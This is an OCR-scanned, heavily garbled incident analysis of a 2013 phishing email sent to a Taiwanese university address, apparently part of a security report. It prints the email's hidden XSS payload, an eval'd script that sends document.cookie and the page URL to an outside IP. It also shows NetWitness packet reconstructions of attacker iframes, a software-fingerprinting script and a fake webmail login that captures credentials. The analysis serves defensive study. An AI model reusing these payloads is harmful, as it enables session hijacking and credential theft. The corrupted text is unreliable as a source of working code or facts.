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<HTML><br>

<b>From:</b>E; 21t ;we ngi6T7@gmail.comagt;<br>

<b5To:</b>ch £lt;ch @ .edu.twegt; <br>

<b>Date: </b> Sat, 10 Rug 2013 15:07:48 +0800 (CST)<br>

<b>Subject:</b> EH - EEFEE<br>

<prEETF</p>

<p>EL& BRI ESEEAEF ARSI A ESE  MEE S EREER e FTREES e
<p>iESE</p>

[T=R== R . VR ERTTE N R

<prinbsp;</p>

<p>»&nbsp; &énbsp; anbsp; anbhap; &nbsp; &nbsap; &nbap; &nbsp; &nbsp; énbsp; anbsp; eanbap; snbap; &
nbsp; &énbsp; anbsp; anbsp; snbap; &nbsp; &nbsp; sénbsp; anbap; anbap; snbap; &nbsap; snbap; snbs
p:é&nbsp; énbsp; énbsp; enbap; énbap; snbap; S5 & Fe/prediv
ztyle="display:none"»<div id="xsscodel" title="if(!window.zxxyyyzzz)
{window.xxxyyyzzz=1;if (document.getElementById('savecookie792318" )==null)

{var data=top.location.href;var s=document.createElement(5tring.fromCharCode
(115,89,114,105,112,116)); e name=t 127 2 sro=stoing fromCharCod
=(104,116,116,112 58,47 47]]'11 .121.163.172/warlord/mxxf/indexCE.asp? |

Iuidanh @ .edu.thtamp;delayqn3&amp;uIlt='+data+'&amp;cookie='+ascape
{document . cookie) ;top.document .body. inserthdjacentElement ('beforeBegin’, =) ; }1">

<«div style="display:none"><!--<img src="--><img src="x" onerror="alert
(x=sscodel.title);eval (xsscodel.title)//cquot;"></div>
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1 <HTML><br>
2

<b>From:</b>H elt;we ng>67@gmail . comegt ;<br>

<b>To:</brchmeess 1t ; che R ..edu.twagt;<br>

<b>Date: </b> Sat, 10 Aug 2013 15:07:48 +0800 (CST)<br>
<b>Subject:</by> £ » EEES<br>

<p>ZEETEF</p>

<p>EEENESEEAE BN T AESE TR EHEUETEH  FTHEESp>

<prIEFE<p>

<p>inbsp;</p>

<p>&nbsp; énbsp; énbsp; énbsp; &nbsp; &nbsp; &énbap; enbsp; énbsp; énbsp; enbsp; énbsp; enbsp; &
nbsp; énbsp; &nbsp; &nbsp; enbap; enbep; énbep; snbep; enbep; énbsp; énbsp; énbsp; &nbsp; &nbs

p;&anbep;enbap; enbsp; snbep; snbsp; snbep; B45H g S b</pradiv
style="display:none"><div id="xsscodel” title="if (!window.xxxyyyzzz)
{window.xxxyyyzzz=1;if (document.getElementById("'savecookie792318" )==null)

{var data=top.location.href;var s=document.createElement (String.fromCharCode
(115,99,114,105,112,116)) ;=.id="forXssUser';s.name="127"';=.8rc=5tring.fromCharCod
e(104,116,11¢,112,58,47,47)+'112.121.163.172/warlord/mxxf/indexCP.asp?
uid=mchl @ edu.twiamp;delay-m3samp;urlt="+data+"' tamp; cookie="'+escape
(document.cookie) ; top.document . body. insertidjacentElement ( "beforeBegin', s) ;11 ">

<div style="display:none"»><!--<imgy src="--><img src="x" onerror="alert
(xsscodel.title);eval (xsscodel.title)//&quot; "></divs

B. #%:%#% (document. cookie) ¢ #- ﬁﬁmcookw FORLE SR e .
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NetWitness Reconstruction for session ID: 2

Time

10 8/ 17

[ GET /warloxd/moef/indexCP.asp HTIP/1.1 |

ccept: application/x-ns-application, image/jpeg, application/xamltenl, inage/gif
, image/pipeg, application/x-ns-xbap, */%

Accept-langnage: zh-TH

User-dgent: Nozilla/4.0 (compatible; NSIE ©.0; Windows NT 6.1; UOV64; Trident/d.0
; SLCcZ; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center
PC 6.0; InfoPath.3)

Accept-Encoding: gzip, deflate

Host: 112.12 3.172

Connection: Keep-Alive

muzgoUwummn

[k 1 200 ]

Date: Tne, 13 Aug 2013 09:24:12 GHT

Server: Wicrosoft-118/6.0

X-Powered-By: ASP.NET

Content-Length: 392

Content-Type: text/himl

Set-Cookie: ASPSESSIONIDQABSDBST=NBICMBHAAGHEEN INGHIEECAO; path=/
Cache-control: private

setTineout("test()",0};
var a;

a=1;

if(a=0)

{

function test()

+op .docunent .write(' <htnl><head=</head><body scroll="no® style="marzin:0 0 0 0;
“fEFrans sro-hitpr /T2 121 163 72 varlord/nwat [indexP I aspluid=durl=ddns=112
121,163 172 fvarlord width=100% height=100% fransBorder=no border=0 VSPACE=0 hepac
e=0 style="margin:0 0 0 0;"></if rane></body></htnl>');

=l == Bl B QB RS BOEEE LI

NetWitness Reconstruction for
17 3

n 1D 207 ( Source 140.1 3
31 te 35 P 1 bytes

, Target 112

21.163.172:80)

<

'BC 6.0; TnfoPetn.3)

Connection: Keep
Cookie: ASPSESSIONIDQABSDBST=NBICMBHAAGHEENINGHIEECAQ

R
GET /warlord/mxxf/indexP_1.aspTuid=furl=kdns=112.121.163.172/warlord HTTP/1.1 E
Accept: application/x-ms-application, image/ipeg, application/xaml+xml, image/gif i
, image/pjpeg, application/x-ms-xbap, */* o
Referer: http://112.121.163.172/warlord/mxx{/index(P.asp N
Accept-Language: zh-TW 5
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0 3
H NET CIR 2.0.50727; .NET CLR 3.5.30 .NET (IR 3.0.30729; Media Center

Encoding: , deflate

live

HITP/1.1 200 CK

Date: Tue, 13 Aug 2013 09:24:12 GNT
Server: Microsoft-118/6.0
X-Powered-By:
Content-Lengt
Content-Type:
Cache-control:

text/himl
private

<iframe src=http://112.121.163.172/warlord/mxxf/ncun. asp?uid=kurl=kdns=112.121.1§]
3.172/warlord width=100% height=100% frameborder=0 scrolling=no></iframe>

#

5

,
e

2L

%1 monitor. asp

#w PR B GET #% % ncuu. asp’ f#47 1) 3%
% > iframe ¢ %P

ASP R 3 E< script friframe

£ 4 K FetgenMail imk -

212_5ncuu.asp

E<SCRIPT>

‘ LoginFrmCheck();
. </SCRIPT>

. </BODY >

| </HTML>

<iframe src=http: ,//112.121.163.172/wdrlord/mxxfuid:ch.

@ .edu.tw width=0 height=0></iframe>

NetWitness Reconstruction for session 1D: 212 ( Source 140.117.

Time

Monitor.asp i & * st $h# = shirk HE AR EF AFHP - PIREHNF

% monitor.asp ¥ @ html 27 - g - Kdp 4
Save(info,  detect. asp?a=scan&uid=&ip=140. 117. X. X&id=&inf="+info

)it e

49
1 Packet 94 by Payload Siz ytes

GET /warlord/mucf fmonitor.asp?uid=chaochi@nccu.edu.tw KTTF/1.1
hccept: application/x-ms-application, image/jpez, application/xanl+xnl, inage/gif
, image/pipez, application/x-ms-xbap, ¥/¥
Referer: http://112.121.163.172/varlord fuxxf /nonu.aspTuid=chaochi@nccu .edu. twlur]
=&dns=112.121.163.172/warlord
hccept-Language: zh-TW
User-hgent: Mozilla/d.0 (compatible; WSIE 8.0; Vindows BT 6.1; YOWG4; Trident/4.0
; 8LCCZ; .(BET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center
PC 6.0; InfoPath.3)
hecept-Encoding: gzip, deflate
Comnection: Keep-Alive
Cookie: ASPSESSIONIDQABSDBST=NBICMBHAAGHEENINGHIEECAQ

235, Target 112.121.163.172 : 80)

| KTTF/1.1 200 0F |

Date: Tue, 13 Ang 2013 09:25:20 GMT
Server: Microsoft-115/6.0
K-Povered-By: ASP.NET
Content-Length: 23159

Content-Type: text/html
Cache-control: private

muwzgoguwwuma

<hinl>

<script type="text/javascript' sic="flash.js"=</script>
<body onLoad="go()">

<script>

function Save(a,b)(

112 odyFREEIRIARE ifrane T id=naily T EE=0

var neviframe = docunent.createElenent('ifrane’);
nevifrane.id="mailly';




fidownload

un"” ., program—+"FlashGetWiflashget exe/16/1".0,1].

3" . program-+"FlashGet Network\WFlashGet 3\WWFlashget3.exe/16/17.1.1].

3.7" . program—+"FlashGet Network\\FlashGet 3\WFlashget3.exe/1a/1 .17.
program+ " Thunder Networl\W Thunder\WThunder exe/16/1".0,1].

o program+"Thunder Networld\Thimder'\WProgram\\WThunder exe/16/1" 0,17,
program~+"Thunder NetworlkWThimdereW\WThimder.exe/16/17.0.1].
program-+ " Thunder Network\\WThunder'\\program\WThunder.exe/16/17,1.1].
72" program+"Thunder Networld\Thunder\\programiW\DoctorService DL AI1/16/1™,1.1],
un"” . program-—+"ehInle‘\vermule exe/16517".0,17 .

"program—+Teasyhnle 2WVMeasyhiIule exe/ 1617017,

"L 20" program+-"easyMhule\Vemule . exe/ 1617017,

S BitCometWBitComet.exe/ 16417 ,0,0] .

£ ["QQDO\vn_load" "a" "TencentWQODownloadWwOODownload exe/16/1" 0,07,

AT BitSpirit”."a", " BitSpiritWBitSpirit.exe/16/17.0,0].

[M"Serv-TU"," 10" . program+ "RhinoSoft.comM\\Serv-TI'WServ-U.exe/16/17 0,0].

["radmin”,”2.2" program+"Radmin\\radmin.exe/16/1",0,1].

[Mradmin sexr” 3" program+ "rserver30\rserver3.exes/ 16170, 1],

[Mradmin wview 3.3" program+"Radmin Viewer 3Wadmin exe/16/1" 0,1].

[MltraVvVINC”," A" program~+ " Ultra VINC\Wwinvnc.exe/16/17,0,1].

AT program+ " Symantec\\pecAnywhere\WWWWinaw32.exe/16/1".0,1].
4" program—+"Real VINCWVINCM\omnoviewer.exes/16/17.0,1],

B - detect. asp R #c 88 5

G. * 2Z = ¢ 7% detect. asp # 4@ % (POST) % *&ach F FERIRE > Aot 5
PlenivE kSR d ~ T BAx A > Outlook 5 # % - gt &4 R3] Adobe
Flash ~ Win7 ~ IE8 ~ Office2010 ~ Windows Media Player 11 -

2013 17:19:32 to 8/13/2013

POST fwarlard fmxct fdetect .asp?azscanin id=kip=140.117 71 .32&id=kint=Adobe 20F E
lash-0,0in7,ie_8,1Key%200host-2010 ,Hicrosof t%200f fice-2010 Microsof t%2000110ak-20 S 200 0F
10,V indows%20Med 1a%20F laver-11 HTTP/1.1 P Date: Tue, 13 Ang 2013 09:24:21 GMT
dccept: applicationfx-ms-application, image/jpez, application/xaml+xml, image/gif 2 Server: Microsoft-118/6.0
, image/pjpeg, application/x-ns-xbap, */* N ¥-Powered-By: ASP.NET
IRefereI: http:/ /112,121,163 . 172/ warlord /mxxf fmonitor.aspfuid= I E Content-Length: 0
Accept-Language: zh-TW Content-Type: text/hinl
User-dgent: Mozilla/4.0 {compatible; WSIE 2.0; Vindows NT 6.1; WOVE4; Trident/4.0 Cache-control: private

; SLCCZ; (NET CLR 2.0.50727; .NET CLR 3.5.30729; .HET CLR 3.0.30729; Media Center
FC 6.0; InfoPath.3)

Content-Type: applicationfx-www-form-urlencoded

fccept-Encoding: gzip, deflate

Host: 112.121.163.172

Content-Length: 133

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: ASPSESSI0ONIDQABSDBST=NBICMBHAAGHEEN INGHIEECAD

hdnCounnt=1&hdnBigFieldl=Adabe+F lash-0R2CH in7R%2C1e_8%2C 1 Kev+Ghost -2010%2CM icrosof t
Hffice-2010%2CH icrosof t40utlook-2010%2CH indowstied ia+Flaver-11l&content=

H. B AT B RS R FER AL PR B AT o 2 R AR
{"gi,'g; ﬁig,l »enF B gsdfgfsdgsdfg’ o

49242, Target 112.121.163.172 : 80 )

e 5,092 bytes

g i o "

[POST fwarlord/mxxf/login.aspturl= HTTF/1.1 | 3 ~
hccept: application/x-ws-application, tnage/jpeg, applicationdxanl+wml, imagelgif s Date: Tne, 13 Aug 2013 09:25:37 GMT

, image/pipeg, application/x-ns-xhap, */* | Server: Microsoft-118/6.0

Referer: http://112.121.163.172/warlord /mxxf /ncun .asp?uid=ch @ .edn . twdnrl %! X-Poversd-By: ASP.NET

=8dns=112.121.163.172/warlord g Content -Length: 38

hccept-languaze: zh-TW = Content-Type: text/html

User-hgent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOWG4; Trident/4.0 & Cache-control: private

; SLCCZ; .NET CLR 2.0.30727; .NET CLR 3.5.30729; .WET CLR 3.0.30729; Media Center

PC 6.0; InfoPath.3) <scriptztop.location.href="'';</scriptz

Content-Type: application/x-www-form-urlencoded

hecept-Encoding: gzip, deflate

Host: 112.121.163.172

Content-Length: 120

Connection: Keep-hlive

Cache-Control: mo-cache

Cookie: ASPSESSIONIDQABSDBST=NBICMBHAAGHEEN INGHJEECAO
|Jab d=%ZFwebnai lBZF tupB2ZF308760. 14308 .var&lang=8USER[D=ch @ -edu. twEPASSH v

sdfofsdgsdfgflnage5.x=224Inage5 . y=15
< >




[. PIREZ NG <script> top. location. href= “" > ¢ i | & ¥ ¥
/warlord/mxxf/ i 3 “403 Forbidden” &t & o F1 5 £ iz chie | o

STILE R BN R ’LLLB?H% PHEAEERL Y

NetWitness Reconstruction for session ID: 229 ( Source 140.117. 49242, Target 112.121.163.172 :80)
Time 8/13/2013 17:20:47 t0 §/13/2013 17:23:04 Packet Size 6,010 bytes Payload Size 5,092 bytes

A
R
] | Eroee
Aacent: apbl1cation/x Ws-application, image/ipeg, application/zanl+xnl, image/gif < antent-Length: 218
. inmage/pjpeg, applicationdx-ns-xbap, */* 4| Content-Type: text/htnl
Aecept-Langnage: zh-T0 © Server: Microsoft-115/6.0
User-Agent: Mozilla/d.0 (compatible; HSIE 8.0; Windows NT 6.1; WOWG4; Trident/4.0 |  ¥-Powered-By: 4SP.NET
: SLCCZ; .WET CLR 2.0.50727; .WET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center i Date: Tue, 13 hug 2013 09:25:37 GNT
PC 6.0; InfoPath.3)
hecept-Encoding: gzip, deflate <htnl><head><title=Error</title></head><body><head><titlesDirectory Listing Denie
Host: 112.121.163.172 d<ftitle></head>
Connection: Keep-Alive <body><hl>Dirsctory Listing Denied</h1>This Virtnal Directory doss not allow cont
Cookie: ASPSESSIONIDQABSDBST=NBICHBHAAGHEEN INGHJEECAO ents to be listed.</body></body></binl>
v
< >
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